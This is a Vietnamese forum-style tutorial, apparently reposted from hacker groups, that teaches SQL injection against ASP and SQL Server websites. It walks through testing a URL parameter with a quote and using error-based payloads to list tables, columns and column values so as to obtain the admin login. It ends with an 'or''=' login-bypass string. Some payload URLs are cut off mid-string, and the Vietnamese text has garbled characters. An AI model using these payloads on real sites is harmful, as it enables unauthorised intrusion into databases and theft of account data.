Các bạn đã nghe rất nhiều từ sql-injection rất nhiều bạn thành thạo nhưng vẫn cịn nhiều bạn mới làm wen với lập trình web cịn chưa biết tơi xin mạn phép post lại dựa trên các bài về sql-ịnect từ nhĩm Vicki , Viethacker.net ...hay một vài nơi khác .
+ SQL Injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lắ, bạn cĩ thể login (với quyền Admin) mà khơng cần username và password, remote execution, dump data và lấy root của SQL server. Cơng cụ dùng để tấn cơng là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape,..
+ Vâng hiểu về SQL-Ịnect đơn giản là chỉ cĩ vậy tơi sẽ phân tắch tiếp việc khai thác lỗi đĩ như thế nào , và mỗi người
đều cĩ những cách xử lý riêng VD :
http://www.xxx.com/item.asp?item_id=1
- kiểm tra xem cĩ lỗi khơng : thêm dấu ' vào :
http://www.xxx.com/item.asp?item_id=1'
Nếu thấy hiển thị lỗi :cĩ dạng vd như thế này : CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''. C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95
Thì trang web này bị SQL-Inject chúng ta cĩ thể hồn tồn khai thác được thơng qua việc "Hỏi Đáp" --> Nhiều bạn khi test thấy lỗi như vậy liền dùng câu lệnh lấy hết các bảng , cột trong data:
http://www.xxx.com/item.asp?item_id=1%2bco...hema.tables))--
Sẽ thu được kết quả là bảng đầu tiên: CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'T005_CC_PACKAGES' to a column of data type int.
C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95
'T005_CC_PACKAGES' chắnh là 1 bảng trong data . Nếu muốn lấy tên bảng tiếp theo ta chỉ việc
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.tables where table_name not in ('T005_CC_PACKAGES' )))--
tiếp tục cho đến khi nào hiện thơng báo : Invalid item thì là hết table đĩ Muốn lấy tên cột trong bảng thì làm như sau :
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name='tên bảng'))-- lấy tiếp thì lại dùng not in:
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name="tên bảng" not in ('Tên cột đã biết','tên cột đã biết')))--
Lấy giá trị trong cột :
http://www.xxx.com/item.asp?item_id=1%2bco...201%20'tên cột'%20from 'tên bảng chứa cột'))-- Mục đắch của nhiều bạn là lấy hết tồn bộ thơng tin về table , colum của data từđĩ
để khai thác tài khoản đăng nhập admin của site đĩ . Nhưng những cách từng bước trên rất mệt khi đường Link dài quá IE lỗi luơn đĩ phải dùng trình duyệt khác(Mozila hay Netscape..) .
+ Cĩ cách khác nhanh hơn :
Đăng nhập bằng user: 'or''=' pass: 'or''='